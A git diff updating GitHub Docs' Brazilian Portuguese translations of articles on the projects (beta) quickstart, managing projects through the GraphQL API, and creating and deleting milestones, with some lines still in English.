+Neste guia, você adicionará problemas existentes de repositórios pertencentes à sua organização (para projetos de organização) ou por você (para projetos de usuário) ao seu novo projeto. Para obter mais informações sobre a criação de problemas, consulte "[Criar um problema](/issues/tracking-your-work-with-issues/creating-an-issue)".
 
-## Creating a project
+## Criando um projeto
 
-First, create an organization project or a user project.
+Primeiro, crie um projeto de organização ou um projeto de usuário.
 
-### Creating an organization project
+### Criando um projeto de organização
 
 {% data reusables.projects.create-project %}
 
-### Creating a user project
+### Criando um projeto de usuário
 
 {% data reusables.projects.create-user-project %}
 
-## Adding issues to your project
+## Adicionando problemas ao seu projeto
 
-Next, add a few issues to your project.
+Em seguida, adicione alguns problemas ao seu projeto.
 
-When your new project initializes, it prompts you to add items to your project. If you lose this view or want to add more issues later, place your cursor in the bottom row of the project, next to the {% octicon "plus" aria-label="plus icon" %}.
+Quando seu novo projeto for iniciado, ele irá solicitar que você adicione itens ao seu projeto. Se você perder esta visualização ou desejar adicionar mais problemas posteriormente, coloque seu cursor na linha inferior do projeto, ao lado de {% octicon "plus" aria-label="plus icon" %}.
 
-1. Type `#`.
-2. Select the repository where your issue is located. To narrow down the options, you can start typing a part of the repository name.
-3. Select your issue. To narrow down the options, you can start typing a part of the issue title.
+1. Digite `#`.
+2. Selecione o repositório onde o problema está localizado. Para restringir as opções, você pode começar a digitar parte do nome do repositório.
+3. Selecione o seu problema. Para restringir as opções, você pode começar a digitar uma parte do título do problema.
 
-Repeat the above steps a few times to add multiple issues to your project.
+Repita os passos acima algumas vezes para adicionar vários problemas ao seu projeto.
 
-For more information about other ways to add issues to your project, or about other items you can add to your project, see "[Creating a project](/issues/trying-out-the-new-projects-experience/creating-a-project#adding-items-to-your-project)."
+Para obter mais informações sobre outras formas de adicionar problemas ao seu projeto, ou sobre outros itens que você pode adicionar ao seu projeto, consulte "[Criando um projeto](/issues/trying-out-the-new-projects-experience/creating-a-project#adding-items-to-your-project)."
 
-## Creating a field to track priority
+## Criando um campo para monitorar a prioridade
 
-Now, create a custom field called `Priority` to contain the values: `High`, `Medium`, or `Low`.
+Agora, crie um campo personalizado denominado `Prioridade` para conter os valores: `Alto`, `Médio` ou `Baixo`.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing any part of "Create new field".
-3. Select **Create new field**.
-4. In the resulting pop-up, enter `Priority` in the text box.
-5. In the drop-down, select **Single select**.
-6. Add options for `High`, `Medium`, and `Low`. You can also include emojis in your options.
-   ![New single select field example](/assets/images/help/projects/new-single-select-field.png)
-7. Click **Save**.
+2. Comece a digitar qualquer parte de "Criar novo campo".
+3. Selecione **Criar novo campo**.
+4. Na janela de pop-up resultante, digite `Prioridade` na caixa de texto.
+5. Na lista de seleção, selecione **Seleção única**.
+6. Adicionar opções para `Alto`, `Médio` e `Baixo`. Você também pode incluir emojis nas suas opções. ![Novo exemplo de campo de seleção única](/assets/images/help/projects/new-single-select-field.png)
+7. Clique em **Salvar**.
 
-Specify a priority for all issues in your project.
+Especifique uma prioridade para todos os problemas no seu projeto.
 
-![Example priorities](/assets/images/help/projects/priority_example.png)
+![Prioridades de exemplo](/assets/images/help/projects/priority_example.png)
 
-## Grouping issues by priority
+## Agrupar problemas por prioridade
 
-Next, group all of the items in your project by priority to make it easier to focus on the high priority items.
+Em seguida, agrupe todos os itens do seu projeto por prioridade para facilitar o foco nos itens de alta prioridade.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing any part of "Group by".
-3. Select **Group by: Priority**.
+2. Comece a digitar qualquer parte de "Agrupar por".
+3. Selecione **Agrupar por: Prioridade**.
 
-Now, move issues between groups to change their priority.
+Agora, transfira os problemas entre grupos para mudar a sua prioridade.
 
-1. Choose an issue.
-2. Drag and drop the issue into a different priority group. When you do this, the priority of the issue will change to be the priority of its new group.
+1. Escolha um problema.
+2. Arraste e solte o problema em um grupo de prioridade diferente. Ao fazer isso, a prioridade do problema passará a ser a prioridade do seu novo grupo.
 
-![Move issue between groups](/assets/images/help/projects/move_between_group.gif)
+![Transferir problemas entre grupos](/assets/images/help/projects/move_between_group.gif)
 
-## Saving the priority view
+## Salvando a visualização da prioridade
 
-When you grouped your issues by priority in the previous step, your project displayed an indicator to show that the view was modified. Save these changes so that your collaborators will also see the tasks grouped by priority.
+Quando você agrupou os seus problemas por prioridade na etapa anterior, seu projeto exibiu um indicador para mostrar que a visualização foi modificada. Salve essas alterações para que os seus colaboradores vejam as tarefas agrupadas por prioridade.
 
-1. Select the drop-down menu next to the view name.
-2. Click **Save changes**.
+1. Selecione o menu suspenso ao lado do nome da visualização.
+2. Clique em **Save changes** (Salvar alterações).
 
-To indicate the purpose of the view, give it a descriptive name.
+Para indicar o propósito da visão, dê um nome descritivo.
 
-1. Place your cursor in the current view name, **View 1**.
-2. Replace the existing text with the new name, `Priorities`.
+1. Coloque o cursor no nome atual da visualização, **Visualização 1**.
+2. Substitua o texto existente pelo novo nome, `Prioridades`.
 
-You can share the URL with your team to keep everyone aligned on the project priorities.
+Você pode compartilhar a URL com seu time para manter todos alinhados com as prioridades do projeto.
 
-When a view is saved, anyone who opens the project will see the saved view. Here, you grouped by priority, but you can also add other modifiers such as sort, filter, or layout. Next, you will create a new view with the layout modified.
+Quando a visualização é salva, qualquer pessoa que abrir o projeto verá a visualização salva. Aqui, você agrupou por prioridade, mas você também pode adicionar outros modificadores como ordenação, filtro ou layout. Em seguida, você criará uma nova exibição com o layout modificado.
 
-## Adding a board layout
+## Adicionando um layout de quadro
 
-To view the progress of your project's issues, you can switch to board layout.
+Para ver o progresso dos problemas do seu projeto, você pode alternar para o layout do quadro.
 
-The board layout is based on the status field, so specify a status for each issue in your project.
+O layout do quadro é baseado no campo de status. Portanto, especifique um status para cada problema no seu projeto.
 
-![Example status](/assets/images/help/projects/status_example.png)
+![Status do exemplo](/assets/images/help/projects/status_example.png)
 
-Then, create a new view.
+Em seguida, crie uma nova visualização.
 
-1. Click {% octicon "plus" aria-label="the plus icon" %} **New view** next to the rightmost view.
+1. Clique em {% octicon "plus" aria-label="the plus icon" %} **Nova Visualização** ao lado da visualização mais à direita.
 
-Next, switch to board layout.
+Em seguida, mude para o layout do quadro.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing any part of "Switch layout: Board".
-3. Select **Switch layout: Board**.
-   ![Example priorities](/assets/images/help/projects/example_board.png)
+2. Comece a digitar qualquer parte de "Layout Switch: Board".
+3. Selecione **Mudar layout: Board**. ![Prioridades de exemplo](/assets/images/help/projects/example_board.png)
 
-When you changed the layout, your project displayed an indicator to show that the view was modified. Save this view so that you and your collaborators can easily access it in the future.
+Quando você alterou o layout, o projeto exibiu um indicador para mostrar que a visualização foi modificada. Salve esta visualização para que você e seus colaboradores possam acessá-la facilmente no futuro.
 
-1. Select the drop-down menu next to the view name.
-2. Click **Save changes**.
+1. Selecione o menu suspenso ao lado do nome da visualização.
+2. Clique em **Save changes** (Salvar alterações).
 
-To indicate the purpose of the view, give it a descriptive name.
+Para indicar o propósito da visão, dê um nome descritivo.
 
-1. Place your cursor in the current view name, **View 2**.
-2. Replace the existing text with the new name, `Progress`.
+1. Coloque o cursor no nome atual da visualização, **Visualização2**.
+2. Substitua o texto existente pelo novo nome, `Progresso`.
 
-![Example priorities](/assets/images/help/projects/project-view-switch.gif)
+![Prioridades de exemplo](/assets/images/help/projects/project-view-switch.gif)
 
-## Configure built-in automation
+## Configure a automação integrada
 
-Finally, add a built in workflow to set the status to **Todo** when an item is added to your project.
+Por fim, adicione um fluxo de trabalho construído para definir o status como **Todo** quando um item for adicionado ao seu projeto.
 
 1. In your project, click {% octicon "workflow" aria-label="the workflow icon" %}.
-2. Under **Default workflows**, click **Item added to project**.
-3. Next to **When**, ensure that both `issues` and `pull requests` are selected.
-4. Next to **Set**, select **Status:Todo**.
-5. Click the **Disabled** toggle to enable the workflow.
+2. Em **Fluxos de trabalho padrão**, clique em **Item adicionado ao projeto**.
+3. Ao lado de **Quando**, certifique-se de que `problemas` e `pull requests` estejam selecionados.
+4. Ao lado de **Definir**, selecione **Status:Todo**.
+5. Clique na opção **Desabilitada** para habilitar o fluxo de trabalho.
 
-## Next steps
+## Próximas etapas
 
-You can use projects for a wide range of purposes. For example:
+Você pode usar projetos para uma ampla gama de finalidades. Por exemplo:
 
-- Track work for a release
+- Acompanhar o trabalho para uma versão
 - Plan a sprint
-- Prioritize a backlog
+- Priorizar um backlog
 
-Here are some helpful resources for taking your next steps with {% data variables.product.prodname_github_issues %}:
+Aqui estão alguns recursos úteis para dar seus próximos passos com {% data variables.product.prodname_github_issues %}:
 
-- To provide feedback about the projects (beta) experience, go to the [GitHub feedback repository](https://github.com/github/feedback/discussions/categories/issues-feedback).
-- To learn more about how projects can help you with planning and tracking, see "[About projects](/issues/trying-out-the-new-projects-experience/about-projects)."
-- To learn more about the fields and items you can add to your project, see "[Creating a project](/issues/trying-out-the-new-projects-experience/creating-a-project)."
-- To learn about more ways to display the information you need, see "[Customizing your project views](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)."
+- Para fornecer feedback sobre os projetos (beta) experiência, acesse o [Repositório de comentários GitHub](https://github.com/github/feedback/discussions/categories/issues-feedback).
+- Para saber mais sobre como os projetos podem ajudar você com o planejamento e monitoramento, consulte "[Sobre projetos](/issues/trying-out-the-new-projects-experience/about-projects)".
+- Para saber mais sobre os campos e itens que você pode adicionar ao seu projeto, consulte "[Criar um projeto](/issues/trying-out-the-new-projects-experience/creating-a-project)".
+- Para aprender mais sobre maneiras de exibir as informações que você precisa, consulte "[Personalizar visualizações de projeto](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)".
diff --git a/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md b/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md
index 4b00391366..75184bbc22 100644
--- a/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md
+++ b/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md
@@ -1,6 +1,6 @@
 ---
-title: Using the API to manage projects (beta)
-intro: You can use the GraphQL API to find information about projects and to update projects.
+title: Usando a API para gerenciar projetos (beta)
+intro: Você pode usar a API do GraphQL para encontrar informações sobre projetos e atualizar projetos.
 versions:
   fpt: '*'
   ghec: '*'
@@ -11,17 +11,15 @@ topics:
   - Projects
 ---
 
-This article demonstrates how to use the GraphQL API to manage a project. For more information about how to use the API in a {% data variables.product.prodname_actions %} workflow, see "[Automating projects (beta)](/issues/trying-out-the-new-projects-experience/automating-projects)." For a full list of the available data types, see "[Reference](/graphql/reference)."
+Este artigo demonstra como usar a API do GraphQL para gerenciar um projeto. Para obter mais informações sobre como utilizar a API em um fluxo de trabalho {% data variables.product.prodname_actions %}, consulte "[Automatizando projetos (beta)](/issues/trying-out-the-new-projects-experience/automating-projects)". Para uma lista completa dos tipos de dados disponíveis, consulte "[Referência](/graphql/reference)".
 
 {% data reusables.projects.projects-beta %}
 
-## Authentication
-
-{% include tool-switcher %}
+## Autenticação
 
 {% curl %}
 
-In all of the following cURL examples, replace `TOKEN` with a token that has the `read:org` scope (for queries) or `write:org` scope (for queries and mutations). The token can be a personal access token for a user or an installation access token for a {% data variables.product.prodname_github_app %}. For more information about creating a personal access token, see "[Creating a personal access token](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)." For more information about creating an installation access token for a {% data variables.product.prodname_github_app %}, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#authenticating-as-a-github-app)."
+Em todos os exemplos cURL a seguir, substitua `TOKEN` por um token que tem o escopo `read:org` (para consultas) ou `write:org` (para consultas e mutações). O token pode ser um token de acesso pessoal para um usuário ou um token de acesso de instalação para um {% data variables.product.prodname_github_app %}. Para obter mais informações sobre a criação de um token de acesso pessoal, consulte[Criando um token de acesso pessoal](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)." Para obter mais informações sobre a criação de um token de acesso de instalação para um {% data variables.product.prodname_github_app %}, consulte "[Efetuando a autenticação com {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#authenticating-as-a-github-app)".
 
 {% endcurl %}
 
@@ -29,15 +27,15 @@ In all of the following cURL examples, replace `TOKEN` with a token that has the
 
 {% data reusables.cli.cli-learn-more %}
 
-Before running {% data variables.product.prodname_cli %} commands, you must authenticate by running `gh auth login --scopes "write:org"`. If you only need to read, but not edit, projects, you can omit the `--scopes` argument. For more information on command line authentication, see "[gh auth login](https://cli.github.com/manual/gh_auth_login)."
+Antes de executar os comandos de {% data variables.product.prodname_cli %}, você deverá efetuar a autenticação executando `gh login --scopes "write:org"`. Se você só tiver de ler, mas não editar, projetos, você poderá omitir o argumento `--escopes`. Para obter mais informações sobre a autenticação de linha de comando, consulte "[gh auth login](https://cli.github.com/manual/gh_auth_login)".
 
 {% endcli %}
 
 {% cli %}
 
-## Using variables
+## Usando variáveis
 
-In all of the following examples, you can use variables to simplify your scripts. Use `-F` to pass a variable that is a number, Boolean, or null. Use `-f` for other variables. For example,
+Em todos os exemplos a seguir, você pode usar variáveis para simplificar seus scripts. Use `-F` para passar uma variável que é um número, booleano ou nulo. Use `-f` para outras variáveis. Por exemplo,
 
 ```shell
 my_org="octo-org"
@@ -56,17 +54,15 @@ For more information, see "[Forming calls with GraphQL]({% ifversion ghec%}/free
 
 {% endcli %}
 
-## Finding information about projects
+## Encontrando informações sobre os projetos
 
-Use queries to get data about projects. For more information, see "[About queries]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql#about-queries)."
+Use consultas para obter dados sobre projetos. For more information, see "[About queries]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql#about-queries)."
 
-### Finding the node ID of an organization project
+### Encontrando o ID do nó de um projeto da organização
 
-To update your project through the API, you will need to know the node ID of the project.
+Para atualizar seu projeto por meio da API, você precisará conhecer o nó de ID do projeto.
 
-You can find the node ID of an organization project if you know the organization name and project number. Replace `ORGANIZATION` with the name of your organization. For example, `octo-org`. Replace `NUMBER` with the project number. To find the project number, look at the project URL. For example, `https://github.com/orgs/octo-org/projects/5` has a project number of 5.
-
-{% include tool-switcher %}
+Você pode encontrar o nó do projeto de uma organização se você souber o nome da organização e o número do projeto. Substitua `ORGANIZATION` pelo nome da sua organização. Por exemplo, `octo-org`. Substituir `NÚMERO` pelo número do projeto. Para encontrar o número do projeto, consulte a URL do projeto. Por exemplo, `https://github.com/orgs/octo-org/projects/5` tem um número de projeto de 5.
 
 {% curl %}
 ```shell
@@ -90,9 +86,7 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-You can also find the node ID of all projects in your organization. The following example will return the node ID and title of the first 20 projects in an organization. Replace `ORGANIZATION` with the name of your organization. For example, `octo-org`.
-
-{% include tool-switcher %}
+Você também pode encontrar o ID do nó de todos os projetos na sua organização. O exemplo a seguir retornará o ID do nó e o título dos primeiros 20 projetos em uma organização. Substitua `ORGANIZATION` pelo nome da sua organização. Por exemplo, `octo-org`.
 
 {% curl %}
 ```shell
@@ -119,13 +113,11 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-### Finding the node ID of a user project
+### Encontrar o ID do nó do projeto de um usuário
 
-To update your project through the API, you will need to know the node ID of the project.
+Para atualizar seu projeto por meio da API, você precisará conhecer o nó de ID do projeto.
 
-You can find the node ID of a user project if you know the project number. Replace `USER` with your user name. For example, `octocat`. Replace `NUMBER` with your project number. To find the project number, look at the project URL. For example, `https://github.com/users/octocat/projects/5` has a project number of 5.
-
-{% include tool-switcher %}
+Você pode encontrar o ID do nó do projeto se você souber o número do projeto. Substitua `USUÁRIO` pelo seu nome de usuário. Por exemplo, `octocat`. Substitua `NUMBER` pelo número do seu projeto. Para encontrar o número do projeto, consulte a URL do projeto. For example, `https://github.com/users/octocat/projects/5` has a project number of 5.
 
 {% curl %}
 ```shell
@@ -149,9 +141,7 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-You can also find the node ID for all of your projects. The following example will return the node ID and title of your first 20 projects. Replace `USER` with your username. For example, `octocat`.
-
-{% include tool-switcher %}
+Também é possível encontrar o ID do nó para todos os seus projetos. O exemplo a seguir retornará o ID do nó e o título de seus primeiros 20 projetos. Substitua `USUÁRIO` pelo seu nome de usuário. Por exemplo, `octocat`.
 
 {% curl %}
 ```shell
@@ -178,13 +168,11 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-### Finding the node ID of a field
+### Encontrando o ID do nó de um campo
 
-To update the value of a field, you will need to know the node ID of the field. Additionally, you will need to know the ID of the options for single select fields and the ID of the iterations for iteration fields.
+Para atualizar o valor de um campo, você precisará saber o ID do nó do campo. Além disso, você precisará saber o ID das opções para um único campo selecionado e o ID das iterações para os campos de iteração.
 
-The following example will return the ID, name, and settings for the first 20 fields in a project. Replace `PROJECT_ID` with the node ID of your project.
-
-{% include tool-switcher %}
+O exemplo a seguir retornará o ID, o nome e as configurações para os primeiros 20 campos de um projeto. Substitua `PROJECT_ID` pelo ID do nó do seu projeto.
 
 {% curl %}
 ```shell
@@ -214,7 +202,7 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-The response will look similar to the following example:
+A resposta ficará semelhante ao seguinte exemplo:
 
 ```json
 {
@@ -249,15 +237,13 @@ The response will look similar to the following example:
 }
 ```
 
-Each field has an ID. Additionally, single select fields and iteration fields have a `settings` value. In the single select settings, you can find the ID of each option for the single select. In the iteration settings, you can find the duration of the iteration, the start day of the iteration (from 1 for Monday to 7 for Sunday), the list of incomplete iterations, and the list of completed iterations. For each iteration in the lists of iterations, you can find the ID, title, duration, and start date of the iteration.
+Cada campo tem um ID. Além disso, campos únicos selecionados e iteração têm um valor de `configurações`. Nas configurações de seleção única, você pode encontrar o ID de cada opção para a seleção única. Nas configurações de iteração, você pode encontrar a duração da iteração, o dia de início da iteração (1 para segunda-feira e 7 para domingo), a lista de iterações incompletas e a lista de iterações concluídas. Para cada iteração nas listas de iterações, você pode encontrar o ID, título, duração e data de início da iteração.
 
-### Finding information about items in a project
+### Encontrando informações sobre os itens de um projeto
 
-You can query the API to find information about items in your project.
+Você pode consultar a API para encontrar informações sobre itens no seu projeto.
 
-The following example will return the title and ID for the first 20 items in a project. For each item, it will also return the value and name for the first 8 fields in the project. If the item is an issue or pull request, it will return the login of the first 10 assignees. Replace `PROJECT_ID` with the node ID of your project.
-
-{% include tool-switcher %}
+O exemplo a seguir retornará o título e ID dos primeiros 20 itens em um projeto. Para cada item, ela também retornará o valor e nome para os primeiros 8 campos do projeto. Se o item for um problema ou um pull request, ele retornará o login dos primeiros 10 responsáveis. Substitua `PROJECT_ID` pelo ID do nó do seu projeto.
 
 {% curl %}
 ```shell
@@ -310,7 +296,7 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-A project may contain items that a user does not have permission to view. In this case, the response will include a redacted item.
+Um projeto pode conter itens que um usuário não tem permissão para visualizar. Neste caso, a resposta incluirá o item redatado.
 
 ```shell
 {
@@ -321,21 +307,19 @@ A project may contain items that a user does not have permission to view. In thi
 }
 ```
 
-## Updating projects
+## Atualizando projetos
 
-Use mutations to update projects. For more information, see "[About mutations]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql#about-mutations)."
+Use mutações para atualizar projetos. Para obter mais informações, consulte "[Sobre mutações]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql#about-mutations)".
 
 {% note %}
 
-**Note:** You cannot add and update an item in the same call. You must use `addProjectNextItem` to add the item and then use `updateProjectNextItemField` to update the item.
+**Observação:** Você não pode adicionar e atualizar um item na mesma chamada. Você deve usar `addProjectNextItem` para adicionar o item e, em seguida, usar `updateProjectNextItemField` para atualizar o item.
 
 {% endnote %}
 
-### Adding an item to a project
+### Adicionando um item a um projeto
 
-The following example will add an issue or pull request to your project. Replace `PROJECT_ID` with the node ID of your project. Replace `CONTENT_ID` with the node ID of the issue or pull request that you want to add.
-
-{% include tool-switcher %}
+O exemplo a seguir adicionará um problema ou pull request ao seu projeto. Substitua `PROJECT_ID` pelo ID do nó do seu projeto. Substitua `CONTENT_ID` pelo ID do n[o do problema ou pull request que você deseja adicionar.
 
 {% curl %}
 ```shell
@@ -359,7 +343,7 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-The response will contain the node ID of the newly created item.
+A resposta conterá o ID do nó do item recém-criado.
 
 ```json
 {
@@ -373,13 +357,11 @@ The response will contain the node ID of the newly created item.
 }
 ```
 
-If you try to add an item that already exists, the existing item ID is returned instead.
+Se você tentar adicionar um item que já existe, o ID do item existente será retornado.
 
-### Updating a custom text, number, or date field
+### Atualizando um campo de texto, número ou data personalizado
 
-The following example will update the value of a date field for an item. Replace `PROJECT_ID` with the node ID of your project. Replace `ITEM_ID` with the node ID of the item you want to update. Replace `FIELD_ID` with the ID of the field that you want to update.
-
-{% include tool-switcher %}
+O exemplo a seguir atualizará o valor de um campo de data para um item. Substitua `PROJECT_ID` pelo ID do nó do seu projeto. Substitua `ITEM_ID` pelo ID do nó do item que você deseja atualizar. Substitua `FIELD_ID` pelo ID do campo que você deseja atualizar.
 
 {% curl %}
 ```shell
@@ -412,20 +394,18 @@ gh api graphql -f query='
 
 {% note %}
 
-**Note:** You cannot use `updateProjectNextItemField` to change `Assignees`, `Labels`, `Milestone`, or `Repository` because these fields are properties of pull requests and issues, not of project items. Instead, you must use the [addAssigneesToAssignable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#addassigneestoassignable), [removeAssigneesFromAssignable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#removeassigneesfromassignable), [addLabelsToLabelable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#addlabelstolabelable), [removeLabelsFromLabelable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#removelabelsfromlabelable), [updateIssue]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#updateissue), [updatePullRequest]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#updatepullrequest), or [transferIssue]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#transferissue) mutations.
+**Observação:** Você não pode usar `updateProjectNextItemField` para alterar `Assignees`, `Labels`, `Milestone` ou `Repository` porque esses campos são propriedades de pull requests e problemas, não de itens do projeto. Em vez disso, você deverá usar a mutação [addAssigneesToAssignable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#addassigneestoassignable), [removeAssigneesFromAssignable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#removeassigneesfromassignable), [addLabelsToLabelable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#addlabelstolabelable), [removeLabelsFromLabelable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#removelabelsfromlabelable), [updateIssue]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#updateissue), [updatePullRequest]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#updatepullrequest) ou [transferIssue]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#transferissue).
 
 {% endnote %}
 
-### Updating a single select field
+### Atualizando um único campo de seleção
 
-The following example will update the value of a single select field for an item.
+O exemplo a seguir atualizará o valor de um campo de seleção única para um item.
 
-- `PROJECT_ID` - Replace this with the node ID of your project.
-- `ITEM_ID` - Replace this with the node ID of the item you want to update.
-- `FIELD_ID` -  Replace this with the ID of the single select field that you want to update.
-- `OPTION_ID` - Replace this with the ID of the desired single select option.
-
-{% include tool-switcher %}
+- `PROJET_ID` - Substituir isso pelo ID do nó do seu projeto.
+- `ITEM_ID` - Substituir isso pelo ID do nó do item que você deseja atualizar.
+- `FIELD_ID` - Substitua-o pelo ID do campo de seleção única que você deseja atualizar.
+- `OPTION_ID` - Substitui esse ID da opção de seleção única desejada.
 
 {% curl %}
 ```shell
@@ -456,16 +436,14 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-### Updating an iteration field
+### Atualizando um campo de iteração
 
-The following example will update the value of an iteration field for an item.
+O exemplo a seguir atualizará o valor de um campo de iteração para um item.
 
-- `PROJECT_ID` - Replace this with the node ID of your project.
-- `ITEM_ID` - Replace this with the node ID of the item you want to update.
-- `FIELD_ID` -  Replace this with the ID of the iteration field that you want to update.
-- `ITERATION_ID` - Replace this with the ID of the desired iteration. This can be either an active iteration (from the `iterations` array) or a completed iteration (from the `completed_iterations` array).
-
-{% include tool-switcher %}
+- `PROJET_ID` - Substituir isso pelo ID do nó do seu projeto.
+- `ITEM_ID` - Substituir isso pelo ID do nó do item que você deseja atualizar.
+- `FIELD_ID` - Substitua este ID do campo de iteração que você deseja atualizar.
+- `ITERATION_ID` - Substitua o ID da iteração desejada. Isso pode ser uma iteração ativa (da matriz de `iterações`) ou uma iteração concluída (da matriz `completed_iterations`).
 
 {% curl %}
 ```shell
@@ -496,11 +474,9 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-### Deleting an item from a project
+### Excluir um item de um projeto
 
-The following example will delete an item from a project. Replace `PROJECT_ID` with the node ID of your project. Replace `ITEM_ID` with the node ID of the item you want to delete.
-
-{% include tool-switcher %}
+O exemplo a seguir excluirá um item de um projeto. Substitua `PROJECT_ID` pelo ID do nó do seu projeto. Substitua `ITEM_ID` pelo Id do nó do item que você deseja excluir.
 
 {% curl %}
 ```shell
diff --git a/translations/pt-BR/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md b/translations/pt-BR/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md
index c008e01a7b..9014819209 100644
--- a/translations/pt-BR/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md
+++ b/translations/pt-BR/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md
@@ -1,6 +1,6 @@
 ---
-title: Creating and editing milestones for issues and pull requests
-intro: You can create a milestone to track progress on groups of issues or pull requests in a repository.
+title: Criar e editar marcos para problemas e pull requests
+intro: Você pode criar um marco para rastrear o progresso em grupos de problemas ou pull requests em um repositório.
 redirect_from:
   - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-milestones/creating-and-editing-milestones-for-issues-and-pull-requests
   - /articles/creating-milestones-for-issues-and-pull-requests
@@ -15,32 +15,30 @@ topics:
   - Pull requests
   - Issues
   - Project management
-shortTitle: Create & edit milestones
+shortTitle: Criar & editar marcos
 type: how_to
 ---
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.sidebar-issue-pr %}
-{% data reusables.project-management.milestones %}
-4. Choose one of these options:
-    - To create a new milestone, click **New Milestone**.
-  ![New milestone button](/assets/images/help/repository/new-milestone.png)
-    - To edit a milestone, next to the milestone you want to edit, click **Edit**.
-  ![Edit milestone option](/assets/images/help/repository/edit-milestone.png)
-5. Type the milestone's title, description, or other changes, and click **Create milestone** or **Save changes**. Milestones will render Markdown syntax. For more information about Markdown syntax, see "[Basic writing and formatting syntax](/github/writing-on-github/basic-writing-and-formatting-syntax)."
-
-## Deleting milestones
-
-When you delete milestones, issues and pull requests are not affected.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issue-pr %}
 {% data reusables.project-management.milestones %}
-4. Next to the milestone you want to delete, click **Delete**.
-![Delete milestone option](/assets/images/help/repository/delete-milestone.png)
+4. Escolha uma destas opções:
+    - Para criar um marco, clique em **New Milestone** (Novo marco). ![Botão New milestone (Novo marco)](/assets/images/help/repository/new-milestone.png)
+    - Para editar um marco, ao lado do marco que deseja editar, clique em **Edit** (Editar). ![Opção para editar marco](/assets/images/help/repository/edit-milestone.png)
+5. Digite o título, a descrição ou outras alterações do marco e clique em **Create milestone** (Criar marco) ou **Save changes** (Salvar alterações). Os marcos irão renderizar a sintaxe do Markdown. Para obter mais informações sobre como criar links, consulte "[Sintaxe básica de gravação e formatação](/github/writing-on-github/basic-writing-and-formatting-syntax)".
 
-## Further reading
+## Excluir marcos
 
-- "[About milestones](/articles/about-milestones)"
-- "[Associating milestones with issues and pull requests](/articles/associating-milestones-with-issues-and-pull-requests)"
-- "[Viewing your milestone's progress](/articles/viewing-your-milestone-s-progress)"
-- "[Filtering issues and pull requests by milestone](/articles/filtering-issues-and-pull-requests-by-milestone)"
+Quando você exclui marcos, os problemas e as pull requests não são afetados.
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-issue-pr %}
+{% data reusables.project-management.milestones %}
+4. Ao lado do marco que deseja excluir, clique em **Delete** (Excluir). ![Opção para excluir marco](/assets/images/help/repository/delete-milestone.png)
+
+## Leia mais
+
+- "[Sobre marcos](/articles/about-milestones)"
+- "[Associar marcos a problemas e pull requests](/articles/associating-milestones-with-issues-and-pull-requests)"
+- "[Exibir o progresso do seu marco](/articles/viewing-your-milestone-s-progress)"
+- "[Filtrar problemas e pull requests por marco](/articles/filtering-issues-and-pull-requests-by-milestone)"
diff --git a/translations/pt-BR/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md b/translations/pt-BR/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md
index f5f9e3b136..eac6c0c7ee 100644
--- a/translations/pt-BR/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md
+++ b/translations/pt-BR/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md
@@ -1,6 +1,6 @@
 ---
